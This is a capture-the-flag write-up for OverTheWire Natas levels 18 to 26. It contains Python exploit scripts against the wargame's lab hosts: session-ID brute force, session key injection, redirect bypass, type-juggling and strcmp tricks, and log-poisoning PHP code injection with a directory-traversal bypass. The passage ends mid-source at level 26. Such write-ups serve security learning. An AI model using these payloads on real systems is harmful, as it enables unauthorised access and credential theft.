OverTheWire - Natas Write Up

Natas teaches the basics of serverside web-security.

This writeups are for level 18 onwards

Nataps Level 18 --> Level 19

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:

First we make client to connect to the service

In [1]:
import time

from bs4 import BeautifulSoup
import requests


ID = 18
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [2]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas18
  </h1>
  <div id="content">
   <p>
    Please login with your admin account to retrieve credentials for natas19.
   </p>
   <form action="index.php" method="POST">
    Username:
    <input name="username"/>
    <br/>
    Password:
    <input name="password"/>
    <br/>
    <input type="submit" value="Login"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
--------------------

As usual, take a look inside index-source.html

<? 

$maxid = 640; // 640 should be enough for everyone 

function isValidAdminLogin() { /* {{{ */ 
    if($_REQUEST["username"] == "admin") { 
    /* This method of authentication appears to be unsafe and has been disabled for now. */ 
        //return 1; 
    } 

    return 0; 
} 
/* }}} */ 
function isValidID($id) { /* {{{ */ 
    return is_numeric($id); 
} 
/* }}} */ 
function createID($user) { /* {{{ */ 
    global $maxid; 
    return rand(1, $maxid); 
} 
/* }}} */ 
function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function my_session_start() { /* {{{ */ 
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
    if(!session_start()) { 
        debug("Session start failed"); 
        return false; 
    } else { 
        debug("Session start ok"); 
        if(!array_key_exists("admin", $_SESSION)) { 
        debug("Session was old: admin flag set"); 
        $_SESSION["admin"] = 0; // backwards compatible, secure 
        } 
        return true; 
    } 
    } 

    return false; 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas19\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; 
    } 
} 
/* }}} */ 

$showform = true; 
if(my_session_start()) { 
    print_credentials(); 
    $showform = false; 
} else { 
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
    session_id(createID($_REQUEST["username"])); 
    session_start(); 
    $_SESSION["admin"] = isValidAdminLogin(); 
    debug("New session started"); 
    $showform = false; 
    print_credentials(); 
    } 
}  

if($showform) { 
?>

One thing very clear is that PHPSESSID range is quite small(1-640). Hence I can bruteforce all the numbers until I get the admin PHPSESSID.

In [16]:
count = 0
for num in range(1, 641):
    cookies = {'PHPSESSID': str(num)}
    rep = requests.get(BASEURL, auth=(USER, PASSWD), cookies=cookies)
    if 'You are an admin' in rep.text:
        soup = BeautifulSoup(rep.text, 'html5lib')
        break
    elif 'regular user' in rep.text:
        count += 1

soup.head.extract()
data = soup.find('pre').text
result = data.split()[-1]

#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS19.txt for password.

Natas Level 19 --> Level 20

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:

First we make client to connect to the service

In [17]:
from bs4 import BeautifulSoup
import requests

ID = 19
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [23]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:25])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas19
  </h1>
  <div id="content">
   <p>
    <b>
     This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
    </b>
   </p>
   <p>
    Please login with your admin account to retrieve credentials for natas20.
   </p>
   <form action="index.php" method="POST">
    Username:
    <input name="username"/>
    <br/>
    Password:
    <input name="password"/>
    <br/>
    <input type="submit" value="Login">
    </input>
   </form>
  </div>
--------------------

There is no source code provided this time. Let's see what we get when we send arbitrary username.

In [24]:
params = {'username': 'natas20', 'password': ''}
rep = requests.post(BASEURL, auth=(USER, PASSWD), params=params)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas19
  </h1>
  <div id="content">
   <p>
    <b>
     This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
    </b>
   </p>
   You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.
  </div>
 </body>
</html>
--------------------

Check cookies

In [26]:
rep.cookies
Out[26]:
<RequestsCookieJar[Cookie(version=0, name='PHPSESSID', value='3336342d6e617461733230', port=None, port_specified=False, domain='natas19.natas.labs.overthewire.org', domain_specified=False, domain_initial_dot=False, path='/', path_specified=True, secure=False, expires=None, discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False)]>

So this time cookies looks quite long. Let's see a few username and see if there is any pattern.

In [56]:
users = ['natas18', 'natas19', 'natas20', 'natas21', 'admin', 'admin', 'admin']

for user in users:
    params = {'username': user, 'password': ''}
    rep = requests.post(BASEURL, auth=(USER, PASSWD), params=params)
    phpsessid = rep.cookies['PHPSESSID']
    print(f'{user}:\t\t{phpsessid}')
natas18:		34372d6e617461733138
natas19:		3339322d6e617461733139
natas20:		3538352d6e617461733230
natas21:		3531302d6e617461733231
admin:		3237352d61646d696e
admin:		37322d61646d696e
admin:		3336332d61646d696e

There seems to be a pattern. Let me format so that the pattern can be observed easily

user prefix separator
natas18: 3437 2d 6e 61 74 61 73 31 38
natas19: 333932 2d 6e 61 74 61 73 31 39
natas20: 353835 2d 6e 61 74 61 73 32 30
natas21: 353130 2d 6e 61 74 61 73 32 31
admin: 323735 2d 61 64 6d 69 6e
admin: 3732 2d 61 64 6d 69 6e
admin: 333633 2d 61 64 6d 69 6e

Now we know this PHPSESSID is composed of three parts:

  • prefix
  • separator: 2d
  • user

So we only need to concentrate on prefix. It is possible to do bruteforce, but it is still a big range. Let's throw 1000 requests and seeif there is any distribution pattern

In [76]:
import matplotlib.pyplot as plt
import numpy as np
%matplotlib inline
from statistics import mean, median, mode, stdev

prefixes = []
params = {'username': 'admin', 'password': ''}

for i in range(1000):
    rep = requests.post(BASEURL, auth=(USER, PASSWD), params=params)
    phpsessid = rep.cookies['PHPSESSID']
    prefixes.append(int(phpsessid[:phpsessid.find('2d')]))

print(f'Mean: {mean(prefixes)}')
print(f'Median: {median(prefixes)}')
print(f'Mode: {mode(prefixes)}')
print(f'Stdev: {stdev(prefixes)}')
print(f'Min: {min(prefixes)}')
print(f'Max: {max(prefixes)}')

plt.hist(prefixes,density=1, bins=10)
plt.ylabel('Probability')
Mean: 282925.984
Median: 333137.5
Mode: 3630
Stdev: 122028.33369416268
Min: 32
Max: 363339
Out[76]:
Text(0,0.5,'Probability')

It's not a normal distribution, and brutefore is not a good idea. Come to think about it, all the character in PHPSESSID is always numeric or alphabet characters up to 'e', so it may be just hexlified?

In [79]:
import codecs

test_ids = ['3237352d61646d696e', '37322d61646d696e', '3336332d61646d696e']

for id in test_ids:
            print(codecs.decode(id, "hex").decode('utf-8'))
275-admin
72-admin
363-admin

Yes. So it turned out it was just hex encoded. Most likely the prefix is 1-640 -which we saw the code in the previous excercise

Same as the previous excercise, bruteforce the password.

In [82]:
import binascii

count = 0
for num in range(1, 641):
    raw_phpsessid = str(num) + '-admin'
    bin_phpsessid = raw_phpsessid.encode('ascii') #this makes unicode strings to binary string
    bin_encoded_id = binascii.hexlify(bin_phpsessid)
    
    cookies = {'PHPSESSID': str(bin_encoded_id, 'ascii')}
    rep = requests.get(BASEURL, auth=(USER, PASSWD), cookies=cookies)
    
    if 'You are an admin' in rep.text:
        soup = BeautifulSoup(rep.text, 'html5lib')
        break
    elif 'regular user' in rep.text:
        count += 1

soup.head.extract()
data = soup.find('pre').text
result = data.split()[-1]

#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS20.txt for password.

Natas Level 20 --> Level 21

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:
    • session_start()

First we make client to connect to the service

In [2]:
from bs4 import BeautifulSoup
import requests

ID = 20
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [3]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:25])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas20
  </h1>
  <div id="content">
   You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.
   <form action="index.php" method="POST">
    Your name:
    <input name="name" value=""/>
    <br/>
    <input type="submit" value="Change name">
    </input>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

Quick look at cookie shows the PHPSESSID looks quite randome this time.

In [4]:
rep.cookies
Out[4]:
<RequestsCookieJar[Cookie(version=0, name='PHPSESSID', value='b454q8v9n8256q4a11660981q7', port=None, port_specified=False, domain='natas20.natas.labs.overthewire.org', domain_specified=False, domain_initial_dot=False, path='/', path_specified=True, secure=False, expires=None, discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False)]>

As usual, take a look inside index-source.html

<? 

function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas21\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; 
    } 
} 
/* }}} */ 

/* we don't need this */ 
function myopen($path, $name) {  
    //debug("MYOPEN $path $name");  
    return true;  
} 

/* we don't need this */ 
function myclose() {  
    //debug("MYCLOSE");  
    return true;  
} 

function myread($sid) {  
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return ""; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    if(!file_exists($filename)) { 
        debug("Session file doesn't exist"); 
        return ""; 
    } 
    debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 
    } 
    return session_encode(); 
} 

function mywrite($sid, $data) {  
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better 
    debug("MYWRITE $sid $data");  
    // make sure the sid is alnum only!! 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    $data = ""; 
    debug("Saving in ". $filename); 
    ksort($_SESSION); 
    foreach($_SESSION as $key => $value) { 
        debug("$key => $value"); 
        $data .= "$key $value\n"; 
    } 
    file_put_contents($filename, $data); 
    chmod($filename, 0600); 
} 

/* we don't need this */ 
function mydestroy($sid) { 
    //debug("MYDESTROY $sid");  
    return true;  
} 
/* we don't need this */ 
function mygarbage($t) {  
    //debug("MYGARBAGE $t");  
    return true;  
} 

session_set_save_handler( 
    "myopen",  
    "myclose",  
    "myread",  
    "mywrite",  
    "mydestroy",  
    "mygarbage"); 
session_start(); 

if(array_key_exists("name", $_REQUEST)) { 
    $_SESSION["name"] = $_REQUEST["name"]; 
    debug("Name set to " . $_REQUEST["name"]); 
} 

print_credentials(); 

$name = ""; 
if(array_key_exists("name", $_SESSION)) { 
    $name = $_SESSION["name"]; 
} 

?>

The code is long, but interesting pats are mywrite and myread. It seems there is no sanitization made for \$name. As both function stores all the key value pair without checking, we can send new line to mimic the admin key to set to 1.

In [17]:
#First I send the data and get the PHPSESSID.
injection_data = 'anyname\nadmin 1' #In the code, username is actually not important, but the existence of admin key and its value 1 is checked.
data = {'name': injection_data}

url = BASEURL + '/index.php'

rep = requests.post(url, auth=(USER, PASSWD), data=data)
phpsessid = rep.cookies['PHPSESSID']
print(phpsessid)
3mahd0r0k82cjo33llt18511s5

Supposedly this phpsession id has admin key set to 1, I just need to send the request again so that the credential is correctly loaded.

In [18]:
cookies = {'PHPSESSID': phpsessid}

url = BASEURL + '/index.php'

rep = requests.get(url, auth=(USER, PASSWD), cookies=cookies)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract() 

data = soup.find('pre').text
result = data.split()[-1]
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS21.txt for password.

Natas Level 21 --> Level 22

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:

First we make client to connect to the service

In [52]:
from bs4 import BeautifulSoup
import requests


ID = 21
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [53]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas21
  </h1>
  <div id="content">
   <p>
    <b>
     Note: this website is colocated with
     <a href="http://natas21-experimenter.natas.labs.overthewire.org">
      http://natas21-experimenter.natas.labs.overthewire.org
     </a>
    </b>
   </p>
   You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
--------------------

As usual, take a look inside index-source.html

<? 

function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas22\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22."; 
    } 
} 
/* }}} */ 

session_start(); 
print_credentials(); 

?>

Our goal is again set the admin key to 1. However, there is no clue here. Let's see the co-located URL.

In [54]:
COLO_BASEURL = 'http://natas21-experimenter.natas.labs.overthewire.org'

rep = requests.get(COLO_BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:50])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas21 - CSS style experimenter
  </h1>
  <div id="content">
   <p>
    <b>
     Note: this website is colocated with
     <a href="http://natas21.natas.labs.overthewire.org">
      http://natas21.natas.labs.overthewire.org
     </a>
    </b>
   </p>
   <p>
    Example:
   </p>
   <div style="background-color: yellow; text-align: center; font-size: 100%;">
    Hello world!
   </div>
   <p>
    Change example values here:
   </p>
   <form action="index.php" method="POST">
    align:
    <input name="align" value="center"/>
    <br/>
    fontsize:
    <input name="fontsize" value="100%"/>
    <br/>
    bgcolor:
    <input name="bgcolor" value="yellow"/>
    <br/>
    <input name="submit" type="submit" value="Update"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

Again there is a source code.

<?   

session_start(); 

// if update was submitted, store it 
if(array_key_exists("submit", $_REQUEST)) { 
    foreach($_REQUEST as $key => $val) { 
    $_SESSION[$key] = $val; 
    } 
} 

if(array_key_exists("debug", $_GET)) { 
    print "[DEBUG] Session contents:<br>"; 
    print_r($_SESSION); 
} 

// only allow these keys 
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow"); 
$form = ""; 

$form .= '<form action="index.php" method="POST">'; 
foreach($validkeys as $key => $defval) { 
    $val = $defval; 
    if(array_key_exists($key, $_SESSION)) { 
    $val = $_SESSION[$key]; 
    } else { 
    $_SESSION[$key] = $val; 
    } 
    $form .= "$key: <input name='$key' value='$val' /><br>"; 
} 
$form .= '<input type="submit" name="submit" value="Update" />'; 
$form .= '</form>'; 

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";"; 
$example = "<div style='$style'>Hello world!</div>"; 

?> 

<p>Example:</p> 
<?=$example?> 

<p>Change example values here:</p> 
<?=$form?>

Obviously there is an interesting part:

if(array_key_exists("submit", $_REQUEST)) { 
    foreach($_REQUEST as $key => $val) { 
    $_SESSION[$key] = $val; 
    } 
}

This stores any key values pair.

In [55]:
#First I send the data and get the PHPSESSID.

data = {'submit': '', 'admin': 1}

colo_url = COLO_BASEURL + '/index.php'

rep = requests.post(colo_url, auth=(USER, PASSWD), data=data)
phpsessid = rep.cookies['PHPSESSID']
print(phpsessid)
qgoqig9or3m98s20qtvo36cbv0

Since this PHPSESSID is stored in the same server as the original site, we should be able to use the same PHPSESSID in the original site as well.

In [56]:
cookies = {'PHPSESSID': phpsessid}

url = BASEURL + '/index.php'

rep = requests.get(url, auth=(USER, PASSWD), cookies=cookies)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract() 

data = soup.find('pre').text
result = data.split()[-1]
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS22.txt for password.

Natas Level 22 --> Level 23

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:
    • header()

First we make client to connect to the service

In [22]:
from bs4 import BeautifulSoup
import requests

ID = 22
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [23]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas22
  </h1>
  <div id="content">
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

There is no real content here. Let's see what is the source.

<? 
session_start(); 

if(array_key_exists("revelio", $_GET)) { 
    // only admins can reveal the password 
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { 
    header("Location: /"); 
    } 
} 
?> 
<? 
    if(array_key_exists("revelio", $_GET)) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas23\n"; 
    print "Password: <censored></pre>"; 
    } 
?>

The story is simple, if there is no key-value admin=1 in session, it will be redirected to '/'. As this redirect does not have parameters('revelio'), it does not display the password.

In [30]:
params = {'revelio': ''}

rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params)

print(f'redirected to: {rep.history[0].headers["Location"]}')
redirected to: /

So what i need to do is just to ignore redirect. And the password will be displayed.

In [31]:
params = {'revelio': ''}

rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params, allow_redirects=False)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract() 

data = soup.find('pre').text
result = data.split()[-1]
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS23.txt for password.

Natas Level 23 --> Level 24

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:
    • strstr()

First we make client to connect to the service

In [32]:
from bs4 import BeautifulSoup
import requests

ID = 23
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [33]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas23
  </h1>
  <div id="content">
   Password:
   <form method="get" name="input">
    <input name="passwd" size="20" type="text"/>
    <input type="submit" value="Login"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

Let's see what in the source.

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>

This time, we need to satisfy two conditions to get the password:

  • 'passwd' has a string 'iloveyou' (string comparison)
  • 'passwd' is greater than 10 (mathematical comparison)

As per the PHP reference String conversion to numbers, any string starts from numeric value would be evaluated with that number. So I just need to send '<integer_greater than 10>iloveyou' as password

In [34]:
params = {'passwd': '11iloveyou'}

rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params, allow_redirects=False)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract() 

data = soup.find('pre').text
result = data.split()[-1]
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS24.txt for password.

Natas Level 24 --> Level 25

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:
    • strcmp()

First we make client to connect to the service

In [35]:
from bs4 import BeautifulSoup
import requests

ID = 24
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [36]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas24
  </h1>
  <div id="content">
   Password:
   <form method="get" name="input">
    <input name="passwd" size="20" type="text"/>
    <input type="submit" value="Login"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

Let's see what in the source.

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>

There is a strcmp function. As you would see with a short google search, this function is known vulnerable if it is provided with array instead of string. Please note that we need to pass "password[]" array as a key not the value(not passwd="[]")

In [37]:
params = {'passwd[]': ''}

rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params, allow_redirects=False)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract() 

data = soup.find('pre').text
result = data.split()[-1]
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS25.txt for password.

Natas Level 25 --> Level 26

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:

First we make client to connect to the service

In [38]:
from bs4 import BeautifulSoup
import requests

ID = 25
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply I got a screenshot of the page as the source code is quite lengthy.

natas25-index

Let's see what in the source.

<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }

    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }

    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;

        closedir($handle);
        return $listoffiles;
    } 

    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>

<?php  
    session_start();
    setLanguage();

    echo "<h2>$__GREETING</h2>";
    echo "<p align=\"justify\">$__MSG";
    echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>

It's lengthy, but the important facts are as follows:

  1. we can pass arbitrary string to language parameter
  2. if passed value includes '../', it is replaced with ''
  3. if passed value includes 'natas_webpass', the request is aborted
  4. in custom safeinclude function, custom logRequest function is called. And we can pass arbitrary string in the place of \$_SERVER['HTTP_USER_AGENT']
  5. If the requested file exist, the page shows that contents
In [67]:
# First I get the PHPSESSID
rep = requests.get(BASEURL, auth=(USER, PASSWD))
phpsessid = rep.cookies.get('PHPSESSID')

# Prepare for the payload
escaped_traversal = '.../...//' # this will be interpreted as '../' once '../' is removed
ua_injection = f'<?php readfile("/etc/natas_webpass/natas26"); ?>'
log_location = f'{escaped_traversal * 10}var/www/natas/natas25/logs/natas25_{phpsessid}.log'
headers = {'User-Agent': ua_injection}
params = {'lang': log_location}
cookies = {'PHPSESSID': phpsessid}

rep = requests.get(BASEURL, auth=(USER, PASSWD), headers=headers, params=params, cookies=cookies)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract() 

soup.text
Out[67]:
'\n\n\nnatas25\n\n\n\n\nlanguage\nende\n\n\n\n[13.02.2019 11::37:55] oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T\n "Directory traversal attempt! fixing request."\n\nNotice:  Undefined variable: __GREETING in /var/www/natas/natas25/index.php on line 80\n\nNotice:  Undefined variable: __MSG in /var/www/natas/natas25/index.php on line 81\n\nNotice:  Undefined variable: __FOOTER in /var/www/natas/natas25/index.php on line 82\n\nView sourcecode\n\n\n\n'
In [68]:
result = 'oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T'
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS26.txt for password.

Natas Level 26 --> Level 27

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:
    • unserialize()

First we make client to connect to the service

In [2]:
from bs4 import BeautifulSoup
import requests

ID = 26
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply.

natas26-index

Let's see the source code

<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
